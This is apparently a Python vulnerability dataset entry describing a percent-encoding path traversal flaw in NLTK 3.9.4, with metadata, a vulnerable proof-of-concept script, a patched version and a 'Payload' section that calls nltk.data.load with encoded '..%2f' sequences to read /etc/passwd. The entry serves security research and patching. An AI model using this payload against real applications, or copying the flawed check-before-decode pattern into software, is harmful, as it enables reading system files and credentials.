CVE-2026-12243
NLTK 3.9.4 path traversal via percent-encoding allows arbitrary file read.
- CVSS 7.5
- CWE-22
- Input Validation and Sanitization
- Remote
NLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk/data.py` checks for literal `../` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.
- CWE
- CWE-22
- CVSS base score
- 7.5
- Published
- 2026-06-30
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- NLTK
- Fixed by upgrading
- Yes
Solution
Upgrade to NLTK version 3.9.5 or later.
Vulnerable code sample
import re
from urllib.request import url2pathname
import os
# Create a dummy environment for the proof-of-concept
os.makedirs("./nltk_data/corpora", exist_ok=True)
with open("./secret.txt", "w") as f:
f.write("This is sensitive content from an arbitrary file.")
# This regex from the vulnerable NLTK version fails to block encoded traversal.
_UNSAFE_NO_PROTOCOL_RE = re.compile(r"(^|/)\.\.(/|$)")
def vulnerable_nltk_find(resource_name):
"""
A simplified representation of the vulnerable resource loading logic.
"""
base_path = "./nltk_data/corpora"
# 1. The security check is performed on the raw, encoded resource name.
# A payload like '..%2f..%2fsecret.txt' will pass this check.
if _UNSAFE_NO_PROTOCOL_RE.search(resource_name):
raise ValueError(f"Path traversal attempt blocked for '{resource_name}'")
# 2. The resource name is decoded *after* the security check.
# '..%2f' is converted to '../'.
decoded_path = url2pathname(resource_name)
# 3. The decoded path is used to construct the final file path, enabling traversal.
full_path = os.path.abspath(os.path.join(base_path, decoded_path))
# 4. The application reads the file from the traversed path.
with open(full_path, 'r') as f:
content = f.read()
return content
# This malicious payload uses percent-encoding ('%2f' for '/') to bypass the regex.
# It traverses from './nltk_data/corpora' up two levels to read './secret.txt'.
malicious_payload = "..%2f..%2fsecret.txt"
try:
# This call successfully exploits the vulnerability.
file_content = vulnerable_nltk_find(malicious_payload)
print(file_content)
except Exception as e:
print(f"Exploit failed: {e}")
finally:
# Clean up the dummy environment
os.remove("./secret.txt")
os.rmdir("./nltk_data/corpora")
os.rmdir("./nltk_data")Patched code sample
import os
from urllib.parse import unquote
# A list of base paths where NLTK data is stored.
# This is a simplified representation of nltk.data.path.
_DATA_DIRECTORIES = ["/var/lib/nltk_data"]
def find_resource_fixed(resource_name: str) -> str:
"""
A corrected implementation of a resource location function that prevents
path traversal attacks.
This function fixes the vulnerability by first decoding any percent-encoded
characters in the resource name before validating that the resulting path
is securely located within a legitimate data directory.
"""
# 1. The Fix: Decode the resource name *before* any validation.
# This converts malicious sequences like '..%2f' into '../'.
try:
decoded_name = unquote(resource_name)
except (TypeError, ValueError):
raise ValueError(f"Invalid resource name format: '{resource_name}'")
# 2. For robust defense-in-depth, fully resolve the path and ensure it is
# a subdirectory of an approved data directory. This is the most
# reliable check against traversal.
for basedir in _DATA_DIRECTORIES:
# Resolve the absolute path of the allowed base directory.
resolved_basedir = os.path.abspath(basedir)
# Create a candidate path and resolve it to its absolute, canonical form.
# This collapses any '..' or '.' components.
candidate_path = os.path.join(resolved_basedir, decoded_name)
resolved_path = os.path.abspath(candidate_path)
# 3. Final Security Check: Ensure the resolved path is within the
# allowed directory tree. `os.path.commonpath` is a safe way
# to perform this check.
if os.path.commonpath([resolved_path, resolved_basedir]) != resolved_basedir:
# If the common path is not the base directory itself, it means
# the path has escaped the intended boundary.
raise ValueError(f"Path traversal attempt blocked: '{resource_name}'")
if os.path.exists(resolved_path):
return resolved_path # Return the safe, resolved path.
raise LookupError(f"Resource '{resource_name}' not found.")Payload
import nltk.data
# This payload uses percent-encoded traversal sequences (..%2f) to bypass
# the regex validation in NLTK 3.9.4. The url2pathname function later decodes
# %2f to a slash, allowing path traversal to read arbitrary files.
malicious_resource_name = '..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
try:
# The load() or find() function triggers the vulnerability.
# Using format='raw' attempts to read the file's raw content.
file_content = nltk.data.load(malicious_resource_name, format='raw')
print("Vulnerable. File content:\n")
print(file_content.decode('utf-8'))
except Exception as e:
print(f"Exploit attempt resulted in an error (this is expected if the file exists but isn't where the payload assumes): {e}")
Cite this entry
@misc{vaitp:cve202612243,
title = {{NLTK 3.9.4 path traversal via percent-encoding allows arbitrary file read.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-12243},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-12243/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
